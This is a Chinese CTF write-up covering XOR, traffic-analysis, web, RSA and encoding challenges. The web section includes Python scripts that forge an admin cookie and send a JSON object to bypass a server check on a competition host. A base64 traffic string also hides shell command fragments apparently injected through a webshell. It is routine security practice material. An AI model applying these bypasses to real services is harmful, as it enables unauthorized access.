遗憾差一点点没进决赛, 还是少个二进制啊,可惜我们学校二进制断代了┭┮﹏┭┮

比赛期间太仓促了,忘了截图,就这样纯文字吧

签到

密文:kaljviko8ohhh59;49:p
单字符的xor,写个简单脚本计算:

1
2
s = "kaljviko8ohhh59;49:p"
print(''.join(chr(ord(c)^13) for c in s))

flag{dfb5beee846947}

misc1

流量包内搜索 flag 的 base64 编码的前面部分 http contains "Zmxh"

找到一段流量包,跟踪 http 流,里面有这么一段:

1
ZmxhZ3thNjVlMjdhZmMyYTdmN2UyN2ZmYjZkMjM5Mzk1ODU3Zn0iPmZsYWcudHh0O2VjaG8gY2E0OTg1ZjBmOGE5O3B3ZDtlY2hvIDJmOWUwNDJlM2Y2MQ%3D%3D

解 base64 得到 flag

flag{a65e27afc2a7f7e27ffb6d239395857f}

web1

刚开始没看到附件,傻傻的测弱口令和注入测了半天浪费了时间,实际伪造 cookie:user=admin,就可以越权

访问 flag1:

1
2
3
4
5
6
7
8
import requests

url = "http://new.mhxaskills.cn:34050/flag1"
cookies = {"user": "admin"}

r = requests.get(url, cookies=cookies)
flag1 = r.headers.get("Token")
print("flag1:", flag1)

flag2 这里访问 /getflag2 路由可以用数组绕过异常
访问 flag2:

1
2
3
4
5
6
7
8
import requests

url = "http://new.mhxaskills.cn:34050/getflag2"

payload = {"checkcode": {"length":16}}

r = requests.post(url, json=payload)
print(r.json())

拼接起来得到 flag
flag{451ea6d0-eb41-4094-dfa2-016bb104bb61}

RSA

直接用 ai 梭出脚本解出一段密文:

1
5:11:AM:6:{:0:9:5:2:4:4:5:1:5:7:8:6:1:2:3:2:1:9:1:5:8:2:AM:7:3:AM:1:3:4:0:2:2:}

把这段密文扔进随波逐流,发现是表盘 Clock Code 解码,解出 flag

flag{0jfceefbfhigbcdcbjbficahdabde0cc}

crypto

密文先解 base64 再解 hex,得到一大堆二进制数,删掉多余字符解 binary 再解 base64,最终得到 flag

flag{fc4b10b03d910b6b0c745c6f74186e59}


web2 后来没时间解了就没做,misc2 修复高宽后就不会做了,二进制我花了最多时间但是一个都做不出,我是 fw ┭┮﹏┭┮